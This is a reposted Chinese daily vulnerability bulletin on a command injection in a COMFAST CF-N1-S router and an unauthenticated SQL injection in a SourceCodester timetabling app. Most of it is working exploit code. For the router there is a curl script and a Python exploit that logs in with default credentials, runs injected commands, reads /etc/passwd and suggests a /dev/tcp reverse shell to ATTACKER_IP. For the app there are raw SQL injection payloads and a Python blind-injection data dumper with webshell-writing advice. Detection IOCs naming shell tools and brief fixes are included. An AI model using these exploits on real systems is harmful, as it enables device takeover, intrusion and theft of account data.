2026-08-23 05:08:31 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文推送两个高危漏洞，其一是COMFASTCF-N1-S路由器CGI接口ssid参数存在OS命令注入漏洞CVE-2026-75094，CVSS评分9.1，攻击者结合默认弱口令可以root权限执行任意命令并横向渗透内网，已公开利用代码。其二是SourceCodester课表管理系统edit_subject2.php的ID参数存在未认证SQL注入CVE-2026-75079，CVSS评分7.3，可直接拖库或写WebShell。建议立即修改路由器默认口令、收敛管理面，并对SQL注入漏洞进行参数化查询修复。 综合评分： 86 文章分类： 漏洞预警,漏洞分析,漏洞POC,IoT安全,WEB安全

cover_image

每日漏洞推送 COMFAST CF-N1-S 路由器 OS 命令注入 → 远程代码执行

原创

nullchen nullchen

富贵学安全

2026年8月18日 10:32 陕西

在小说阅读器读本章

去阅读

📡 每日漏洞情报推送 | 2026-08-18

🔴 漏洞一：CVE-2026-75094 — COMFAST CF-N1-S 路由器 OS 命令注入 → 远程代码执行

📋 漏洞档案

🔥 紧急程度

CVSS 3.1 高达 9.1（CRITICAL）且 Scope: Changed，虽然要求已认证（PR:H），但 COMFAST 路由器管理接口普遍使用默认弱口令（admin/admin、admin/123456 等），实际攻击门槛极低。命令注入点位于 ptest_ssid（无线 SSID 测试功能），注入成功即以 root 权限执行任意命令，可完全控制设备并横向入侵内网。COMFAST 是国内电商渠道销量较大的 Wi-Fi 中继/路由器品牌，设备固件长期不更新，风险面大。

📝 漏洞描述

COMFAST CF-N1-S 的 CGI 接口 /cgi-bin/mbox-config 在处理 method=SET&section=ptest_ssid 请求时，将用户可控参数 ssid 直接拼接进入系统命令（对应固件函数 sub_44B438），未做任何过滤/转义。攻击者通过在 ssid 参数中注入 shell 元字符（;、|、$()、反引号等）即可执行任意系统命令。

由于该 CGI 以高权限运行，命令注入可造成：

机密性/完整性/可用性全面失陷（C:H/I:H/A:H）
Scope: Changed → 影响可跨越设备本身波及相连内网
设备可被植入持久化后门、加入僵尸网络、篡改 DNS 劫持流量

厂商（COMFAST）在披露前已被联系，暂无官方补丁信息，需持续跟踪。

💻 PoC/EXP

1️⃣ curl 命令注入验证

#!/bin/bash
# CVE-2026-75094 COMFAST CF-N1-S 命令注入检测/验证
# 用法: ./poc.sh http://router-ip admin admin
# 注意: 仅用于授权安全测试
# 来源: 基于公开披露 (VulDB 391346 / github.com/1ChaoRen1/IOT_1) 重构

TARGET="${1:-http://192.168.1.1}"
USER="${2:-admin}"
PASS="${3:-admin}"

echo"[*] 目标:&nbsp;$TARGET&nbsp; (${USER}/${PASS})"

# 1. 登录获取会话（COMFAST 类设备常见登录接口，以实际固件为准）
LOGIN=$(curl -sk -m 10 -c /tmp/cf_cookies.txt \
&nbsp; -d "username=${USER}&password=${PASS}" \
&nbsp; "$TARGET/cgi-bin/mbox-config?method=SET&section=login" 2>/dev/null)
echo"[*] 登录响应:&nbsp;${LOGIN:0:120}"

# 2. 命令注入探测：ssid 参数注入 `id` 命令，观察回显
echo"[*] 注入 id 命令..."
curl-sk-m10-b&nbsp;/tmp/cf_cookies.txt \
&nbsp;&nbsp;--data-urlencode"ssid=test\`id\`"&nbsp;\
&nbsp;&nbsp;"$TARGET/cgi-bin/mbox-config?method=SET&section=ptest_ssid"2>/dev/null | head&nbsp;-c500

echo""
echo"[!] 若响应中出现 uid=0(root) 或 uid=xxx 输出 → 命令注入确认 (CVE-2026-75094)"
echo"[!] 不同固件注入语法可能需调整为 ;id; |id| 或 \$(id) 形式"

2️⃣ Python 命令注入利用 PoC（反弹 Shell / 任意命令）

#!/usr/bin/env python3
"""
CVE-2026-75094 COMFAST CF-N1-S OS 命令注入 PoC
影响: COMFAST CF-N1-S 固件 2.6.0.1
来源: 公开披露 (github.com/1ChaoRen1/IOT_1, VulDB 391346)
注意: 仅用于授权安全测试；精确端点/登录方式以目标固件为准
"""
importrequests
importsys
importurllib3
importurllib.parse

urllib3.disable_warnings()

classCOMFASTExploit:
&nbsp; &nbsp;&nbsp;def__init__(self,&nbsp;target,&nbsp;user="admin",&nbsp;password="admin"):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target=target.rstrip('/')
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.user=user
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.password=password
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session=requests.Session()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session.verify=False
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session.headers.update({"User-Agent":&nbsp;"Mozilla/5.0 (security-test)"})

&nbsp; &nbsp;&nbsp;deflogin(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""登录管理接口（COMFAST 常见接口，实际以固件为准）"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.session.post(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{self.target}/cgi-bin/mbox-config?method=SET&section=login",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;data={"username":&nbsp;self.user,&nbsp;"password":&nbsp;self.password},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;timeout=10,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 登录 → HTTP&nbsp;{r.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnTrue
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exceptExceptionase:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 登录失败:&nbsp;{e}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp;&nbsp;definject(self,&nbsp;cmd):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 命令注入核心: 通过 ptest_ssid 的 ssid 参数注入命令
&nbsp; &nbsp; &nbsp; &nbsp; 注入语法: $(COMMAND) / `COMMAND` / ; COMMAND
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload=f"$(&nbsp;{cmd}&nbsp;)"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.session.get(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{self.target}/cgi-bin/mbox-config?method=SET&section=ptest_ssid",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;params={"ssid":&nbsp;payload},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;timeout=15,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnr.status_code,&nbsp;r.text
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exceptExceptionase:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return-1,&nbsp;str(e)

&nbsp; &nbsp;&nbsp;defrun(self,&nbsp;cmd="id"):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifnotself.login():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sys.exit(1)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;code,&nbsp;resp=self.inject(cmd)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 注入命令:&nbsp;{cmd}&nbsp;→ HTTP&nbsp;{code}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 响应片段:&nbsp;{resp[:300]}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifcode==200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 若响应包含命令执行结果 → CVE-2026-75094 命令注入确认")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 可进一步反弹 shell: bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 未命中（固件可能已修复或需调整注入语法/登录方式）")

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;target=sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"http://192.168.1.1"
&nbsp; &nbsp;&nbsp;exp=COMFASTExploit(target)
&nbsp; &nbsp;&nbsp;exp.run(cmd="id; uname -a; cat /etc/passwd | head -3")

3️⃣ 利用链图示

攻击者 ──登录(默认口令 admin/admin)──► CGI 管理接口
&nbsp; &nbsp; &nbsp; │ &nbsp;/cgi-bin/mbox-config?method=SET&section=ptest_ssid
&nbsp; &nbsp; &nbsp; ▼
&nbsp; ssid 参数未过滤拼接进系统命令 (sub_44B438, CWE-78)
&nbsp; &nbsp; &nbsp; ▼
&nbsp; root 权限任意命令执行 (Scope: Changed)
&nbsp; &nbsp; &nbsp; ├── 反弹 Shell → 完全控制设备
&nbsp; &nbsp; &nbsp; ├── 篡改 DNS → 劫持内网流量/钓鱼
&nbsp; &nbsp; &nbsp; ├── 植入持久化后门 → 僵尸网络成员
&nbsp; &nbsp; &nbsp; └── 内网横向渗透跳板

🛡️ 检测与防御

日志检测IOC

- 访问 /cgi-bin/mbox-config?method=SET&section=ptest_ssid 且 ssid 含 shell 元字符的请求
- 管理接口来自非管理网段 IP 的异常登录尝试（弱口令爆破）
- 设备出现异常外连（反弹 shell 特征：bash -i、/dev/tcp、nc -e）
- DNS 配置被非授权修改

修复建议

🔗 参考来源

NVD CVE-2026-75094
CVE.org 记录
VulDB CVE-2026-75094
VulDB CTI 391346
公开PoC (github.com/1ChaoRen1/IOT_1)

🟠 漏洞二：CVE-2026-75079 — SourceCodester Class and Exam Timetabling System 未认证 SQL 注入

📋 漏洞档案

🔥 紧急程度

未认证远程 SQL 注入（AV:N/PR:N/UI:N），exploit 已公开。SourceCodester 的 PHP 教学/教务类系统在国内高校、培训机构部署量很大，且这类系统普遍存在弱口令 + 无 WAF + 暴露公网的特点。攻击者无需任何凭据即可注入 SQL：拖库（学生/教师/管理员账号密码）、篡改课表数据、写入 WebShell（若 DB 用户有 FILE 权限）。若管理后台存在弱口令，可进一步提权接管整个系统。

📝 漏洞描述

SourceCodester Class and Exam Timetabling System 1.0 的 /edit_subject2.php 页面在接收 ID 参数时，未进行参数化查询/过滤，直接将其拼接进 SQL 语句，导致经典的数字型/字符型 SQL 注入。攻击者可通过 ID 参数注入布尔盲注、时间盲注或 UNION 查询，在未认证的情况下：

读取数据库中所有数据（含 admin 用户表、密码哈希）
修改/删除课表数据，影响业务完整性
结合文件写入权限（secure_file_priv 允许时）写入 WebShell 获取服务器控制权

该漏洞与同批披露的 /edit_subject1.php（CVE-2026-75080）为同系列问题，均来自同一套代码的批量 SQL 拼接缺陷。

💻 PoC/EXP

1️⃣ 手工注入验证

# CVE-2026-75079 未认证 SQL 注入（布尔/时间盲注验证）
# 目标:&nbsp;http://target/edit_subject2.php

# 正常请求（返回正常页面）
GET /edit_subject2.php?ID=1 HTTP/1.1
Host: target

# 布尔盲注: 条件为真 → 页面正常；为假 → 页面异常/空白
GET /edit_subject2.php?ID=1 AND 1=1 HTTP/1.1
GET /edit_subject2.php?ID=1 AND 1=2 HTTP/1.1

# 时间盲注: 响应延迟 5 秒 → 注入点确认
GET /edit_subject2.php?ID=1 AND SLEEP(5) HTTP/1.1

# UNION 注入: 探测列数（逐步增加）
GET /edit_subject2.php?ID=-1 UNION SELECT 1,2,3,4,5 HTTP/1.1

# 数据库指纹
GET /edit_subject2.php?ID=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) HTTP/1.1

2️⃣ Python 自动化盲注 PoC（拖库）

#!/usr/bin/env python3
"""
CVE-2026-75079 SourceCodester Class and Exam Timetabling System 未认证 SQLi PoC
影响: SourceCodester Class and Exam Timetabling System 1.0 (/edit_subject2.php)
来源: 公开披露 (github.com/i-QvQ-i/first-OvO/issues/6, VulDB 391307)
注意: 仅用于授权安全测试
"""
importrequests
importstring
importsys
importurllib3

urllib3.disable_warnings()

TARGET=sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"http://target"
URL=f"{TARGET}/edit_subject2.php"

defcheck(payload:&nbsp;str)&nbsp;->bool:
&nbsp; &nbsp;&nbsp;"""布尔盲注判定: 条件为真时页面包含正常特征"""
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=requests.get(URL,&nbsp;params={"ID":&nbsp;payload},&nbsp;timeout=10,&nbsp;verify=False)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 正常响应特征词按目标页面调整（此处以常见页面关键字为例）
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return"subject"inr.text.lower()&nbsp;or"edit"inr.text.lower()
&nbsp; &nbsp;&nbsp;exceptException:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

deftime_check(payload:&nbsp;str,&nbsp;delay:&nbsp;int=5)&nbsp;->bool:
&nbsp; &nbsp;&nbsp;"""时间盲注判定"""
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=requests.get(URL,&nbsp;params={"ID":&nbsp;f"1 AND SLEEP({delay})&nbsp;{payload}"},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;timeout=delay+5,&nbsp;verify=False)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnr.elapsed.total_seconds()&nbsp;>=delay
&nbsp; &nbsp;&nbsp;exceptException:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

defextract_string(query:&nbsp;str,&nbsp;table:&nbsp;str,&nbsp;column:&nbsp;str,&nbsp;length:&nbsp;int=32)&nbsp;->str:
&nbsp; &nbsp;&nbsp;"""按位提取字符串（布尔盲注）"""
&nbsp; &nbsp;&nbsp;result=""
&nbsp; &nbsp;&nbsp;charset=string.printable.strip()
&nbsp; &nbsp;&nbsp;forposinrange(1,&nbsp;length+1):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;found=False
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forchincharset:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 逐字符二分/线性比较: ASCII(substr((SELECT {query}),{pos},1))={ord(ch)}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload=&nbsp;(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"1 AND ASCII(SUBSTRING((SELECT&nbsp;{query}),{pos},1))={ord(ch)}"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifcheck(payload):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;result+=ch
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;found=True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifnotfound:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sys.stdout.write(f"\r[*] 已提取&nbsp;{pos}&nbsp;字符:&nbsp;{result}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sys.stdout.flush()
&nbsp; &nbsp;&nbsp;print()
&nbsp; &nbsp;&nbsp;returnresult

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;print(f"[*] 目标:&nbsp;{URL}")

&nbsp; &nbsp;&nbsp;# 1. 注入点确认（时间盲注）
&nbsp; &nbsp;&nbsp;iftime_check("",&nbsp;delay=5):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 时间盲注确认: ID 参数存在 SLEEP 注入 (CVE-2026-75079)")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 时间盲注未命中，尝试布尔盲注...")

&nbsp; &nbsp;&nbsp;# 2. 提取数据库版本与当前数据库名
&nbsp; &nbsp;&nbsp;print("[*] 提取 version()...")
&nbsp; &nbsp;&nbsp;ver=extract_string("version()",&nbsp;"",&nbsp;"",&nbsp;length=20)
&nbsp; &nbsp;&nbsp;print(f"[+] 数据库版本:&nbsp;{ver}")

&nbsp; &nbsp;&nbsp;print("[*] 提取 database()...")
&nbsp; &nbsp;&nbsp;db=extract_string("database()",&nbsp;"",&nbsp;"",&nbsp;length=20)
&nbsp; &nbsp;&nbsp;print(f"[+] 当前数据库:&nbsp;{db}")

&nbsp; &nbsp;&nbsp;# 3. 提取管理员凭据（表名/列名需按目标库调整）
&nbsp; &nbsp;&nbsp;# print(extract_string(f"group_concat(user,0x3a,password) FROM users", ...))

&nbsp; &nbsp;&nbsp;print("""
[!] 后续利用建议:
&nbsp; &nbsp; 1) 提取 admin 表密码哈希 → 离线破解 → 登录管理后台
&nbsp; &nbsp; 2) 若 MySQL 用户具备 FILE 权限: SELECT ... INTO OUTFILE 写 WebShell
&nbsp; &nbsp; 3) 结合后台功能（文件上传等）进一步 RCE
&nbsp; &nbsp; 4) 同系列漏洞: /edit_subject1.php (CVE-2026-75080) 同样存在注入
&nbsp; &nbsp; &nbsp; &nbsp; """)

3️⃣ 利用链图示

攻击者(未认证) ──GET /edit_subject2.php?ID=注入──► PHP 应用
&nbsp; &nbsp; &nbsp; │ &nbsp;ID 参数未参数化直接拼接 SQL (CWE-89)
&nbsp; &nbsp; &nbsp; ▼
&nbsp; SQL 注入 (布尔/时间盲注 | UNION)
&nbsp; &nbsp; &nbsp; ├── 拖库: 管理员账号密码哈希、学生/教师数据
&nbsp; &nbsp; &nbsp; ├── 篡改课表数据 → 业务完整性破坏
&nbsp; &nbsp; &nbsp; └── 写 WebShell (FILE权限) → 服务器 RCE → 内网渗透

🛡️ 检测与防御

日志检测IOC

- /edit_subject2.php 请求中 ID 参数含 AND/OR/SLEEP/UNION/SUBSTRING 等 SQL 关键字
- 同一 IP 对 edit_subject*.php 的高频异常请求（自动化盲注特征）
- 数据库错误日志中出现 SQL 语法错误（注入探测痕迹）

修复建议

🔗 参考来源

NVD CVE-2026-75079
CVE.org 记录
VulDB CVE-2026-75079
VulDB CTI 391307
公开PoC (github.com/i-QvQ-i/first-OvO/issues/6)
SourceCodester 官方

📊 今日其他漏洞速览

🛡️ 优先行动建议

优先等级 &nbsp; &nbsp;行动 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;说明
────────────────────────────────────────────────────
🔴 最高 &nbsp; &nbsp; COMFAST 路由器处置 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 核查在用设备、改默认口令、管理面禁公网、等固件
🔴 紧急 &nbsp; &nbsp; 课表/教务系统处置 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;修复SQL注入、排查已泄露数据、WAF加固
🟡 关注 &nbsp; &nbsp; PHPGurukul 投诉系统排查 &nbsp; &nbsp; &nbsp;确认是否在用，修复email参数注入
🟡 关注 &nbsp; &nbsp; Mistral.rs 供应链排查 &nbsp; &nbsp; &nbsp; &nbsp;确认业务是否引用受影响版本 (≤0.8.22)

⚠️ 警告：提供的PoC/EXP仅限授权安全测试使用，未经授权的利用行为可能违反《刑法》第285条及相关法律法规。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：富贵学安全 nullchen nullchen《每日漏洞推送 COMFAST CF-N1-S 路由器 OS 命令注入 → 远程代码执行》